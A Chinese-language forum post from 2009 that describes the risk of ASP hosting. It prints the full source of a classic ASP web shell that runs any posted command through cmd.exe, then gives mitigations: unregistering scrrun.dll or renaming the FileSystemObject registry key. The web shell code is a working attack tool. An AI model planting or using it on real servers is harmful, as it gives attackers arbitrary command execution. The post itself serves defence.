设为首页收藏本站

新微赢技术网

 找回密码
 注册
搜索
热搜: 回贴
查看: 8420|回复: 1
打印 上一主题 下一主题

利用ASP服务攻击的漏洞描述及解决方法

[复制链接]
跳转到指定楼层
1#
发表于 2009-11-23 00:40:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
请先看如下的代码:
%@ Language=VBScript %>
%
Dim oScript
Dim oScriptNet
Dim oFileSys oFile
Dim szCMD szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " >" & szTempFile 0 True)
Set oFile = oFileSys.OpenTextFile (szTempFile 1 False 0)
End If
%>
HTML>
BODY>
FORM action="%= Request.ServerVariables("URL") %>" method="POST">
input type=text name=".CMD" size=45 value="">
input type=submit value="Run">
/FORM>
PRE>
%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile True)
End If
%>
/BODY>
/HTML>
  看出什么来没有?
漏洞描述:
  你只要把它保存为*.asp放到一个支持asp的空间里,然后打开浏览器[url=http://***.***.***/*.asp]http://***.***.***/*.asp 就可以一目了然了。可以使用dos命令对服务器进行任何操作。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人主页服务器,把这个文件先传上你申请的主页空间,然后再浏览器里打开此页面直接使用dos命令。这样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。
  所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
解决方法:
  其实它就是利用了上面讲的filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢?一种下下的方法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方法如下:
  在MS-DOS状态下面键入:
Regsvr32 /u \%winnt%\system\scrrun.dll

  但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能两全其美呢?
  我们可以做到禁止他人非法使用FileSystemObject对象但是我们自己仍然可以使用这个对象。
  方法如下:
  查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值将其更改成为你想要的字符串(右键-->"重命名")比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObjectx
  这样在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectx")
  而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
  如果再有人使用通常的方法来调用FileSystemObject对象就会无法使用了。当然除此之外我们还可以使用第三方的软件来解决这个问题
您需要登录后才可以回帖 登录 | 注册

本版积分规则

申请友链|小黑屋|最新主题|手机版|新微赢技术网 ( 苏ICP备08020429号 )  

GMT+8, 2024-11-18 23:21 , Processed in 0.071241 second(s), 10 queries , Gzip On, Memcache On.

Powered by xuexi

© 2001-2013 HaiAn.Com.Cn Inc. 寰耽

快速回复 返回顶部 返回列表